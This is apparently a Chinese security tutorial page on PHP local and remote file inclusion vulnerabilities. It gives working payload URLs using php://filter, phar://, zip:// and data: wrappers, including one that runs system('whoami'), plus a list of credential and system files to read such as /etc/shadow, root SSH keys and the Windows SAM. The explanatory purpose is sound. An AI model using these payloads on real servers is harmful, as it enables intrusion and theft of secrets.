文件包含

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS AI 助手,专业版
简介: 参考文献:https://www.anquanke.com/post/id/86123制作图种:copy 1.png/b+1.php/a 2.png/b:以二进制打开。

参考文献:https://www.anquanke.com/post/id/86123

制作图种:

copy 1.png/b+1.php/a 2.png

/b:以二进制打开。用于图像类/声音类文件
/a:以ascii打开。用于txt文档类文件

php中引发文件包含漏洞的函数:
①.include()
②.include_once()
③.require()
④.require_once()

LFI(Local File Inclusion):
用include()的时候,出错的话,只会提出警告,会继续执行下面语句。


img_b00ced9169352bab663b2b1cbac604b3.png
2.png

用require()的时候,出错的话,会提出警告,不会继续执下面语句。


img_79df34c548f1a9e6d72083a2c2c7271f.png
3.png

require_once() 和 include_once() 功能与require() 和 include() 类似。但如果一个文件已经被包含过了,则 require_once() 和 include_once() 则不会再包含它,以避免函数重定义或变量重赋值等问题。

当利用这四个函数来包含文件时,不管文件是什么类型(图片、txt等等),都会直接作为php文件进行解析。(1.txt为同目录下的一个文件,内容<? php info(); ?>)


img_796bd4989b7043784964b43640792a16.png
1.png

img_5dcf15d922e8586a695357d2aaa38f4a.png
4.png

RFI(Remote File Inclusion)
远程文件包含漏洞,是指能够包含远程服务器上的文件并执行,远程服务器的文件是我们可控的。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。


img_2904eeb75437bcd76967545b0c97dbf6.png
2.png

php://input:allow_url_include = On,对allow_url_fopen不做要求。

img_355c98b739ec903a1cc6c28f081fa3b9.png
1.png

php://filter:没有要求。
/1.php?filename= php://filter/read=convert.base64-encode/resource=1.php
/1.php?filename= php://filter/convert.base64-encode/resource=1.php//可绕read,通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。

phar://:php版本大于等于php5.3.0(相对路径或绝对路径都可以)
/1.php?filename=phar://1.zip/1.txt #1.zip为1.txt的压缩文件,1.txt内容不变
/1.php?filename=phar://G:/wamp/www/filebaohan/1.zip/1.txt

zip://php:版本大于等于php5.3.0,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件,适用于验证包含文件为特定后缀时。
/1.php?filename=zip://G:/wamp/www/filebaohan/1.zip%231.txt

img_fe7d746747938a5fa7e810fb52f8b55b.png
1.png

/2.php?file= zip://G:/wamp/www/filebaohan/1.zip%231.jpg
其实感觉这个挺鸡肋的,要是能找到文件的绝对路径,直接上菜刀多好了。。。

data:URI schema:php版本大于等于php5.2,allow_url_fopen = On,allow_url_include = On
/1.php?filename=data:text/plain,%3C?php%20phpinfo();?%3E
/1.php?filename=data:text/plain,%3C?php%20system(%22whoami%22);?%3E
/1.php?filename=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #加号+的url编码为%2b,PD9waHAgcGhwaW5mbygpOz8+的base64解码为:<?php phpinfo();?>,可以将需要的内容base64加密,然后用这个命令执行。

apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf或者/etc/init.d/httpd

还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑

敏感文件:
1、Windows:
C:boot.ini //查看系统版本
C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件
C:Windowsrepairsam //存储系统初次安装的密码
C:Program Filesmysqlmy.ini //Mysql配置
C:Program Filesmysqldatamysqluser.MYD //Mysql root
C:Windowsphp.ini //php配置信息
C:Windowsmy.ini //Mysql配置信息

2、Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
存储 安全 信息无障碍
可信计算平台与安全芯片扫盲文
可信计算平台与安全芯片扫盲文
627 0
|
6月前
|
JavaScript Go
Go语言实战案例-读取CSV文件并打印
本案例介绍如何使用 Go 语言读取 CSV 文件并逐行打印内容,通过标准库 `encoding/csv` 实现,适用于数据导入、分析等场景。
|
XML JSON API
如何接入体育直播接口到移动应用中
要将体育直播接口接入移动应用,需选择可靠的数据服务商(如火星数据),阅读API文档,注册获取API密钥,开发API接口程序,集成到应用中,设计用户界面,测试优化,遵守法律法规,并持续维护更新。这样可以为用户提供实时的体育赛事直播和数据服务。
stm32f407探索者开发板(十)——时钟系统精讲
stm32f407探索者开发板(十)——时钟系统精讲
868 0
|
存储 SQL Oracle
【历史最全】oracle 获取相应时间 (本周、上周、本月、上月、最近7、30、90天)
在我们使用Oracle数据库的时候,经常会遇到获取相应时间的需求,更甚者,有些涉及写存储过程的兄弟们更是频繁使用到。为了使用起来更加便利,特别留存此记录,便于之后查看。以下SQL均可执行,因为访问的是dual表,所以不需要创建表就能完成调试。
2102 0
|
Python
Python中错误的运算符
【5月更文挑战第21天】
476 7
|
搜索推荐 vr&ar
踏入虚拟世界:探索虚拟现实在教育与培训中的无限可能
虚拟现实(VR)作为一种创新的技术手段,正逐渐在教育与培训领域展示出其无限的应用潜力。本文将深入探讨虚拟现实在教育与培训中的应用,从提供沉浸式体验、提升学习效果、拓展学科边界等方面,展示了VR技术为教育带来的革命性变革。
|
存储 机器学习/深度学习 算法
单选题130
单选题130
682 0
|
测试技术
软工视频——软件维护(软件维护申请报告)
维护过程中,需花费大量工作量,影响软件维护成本
|
安全 数据库 UED
无影云桌面
无影云桌面
31605 0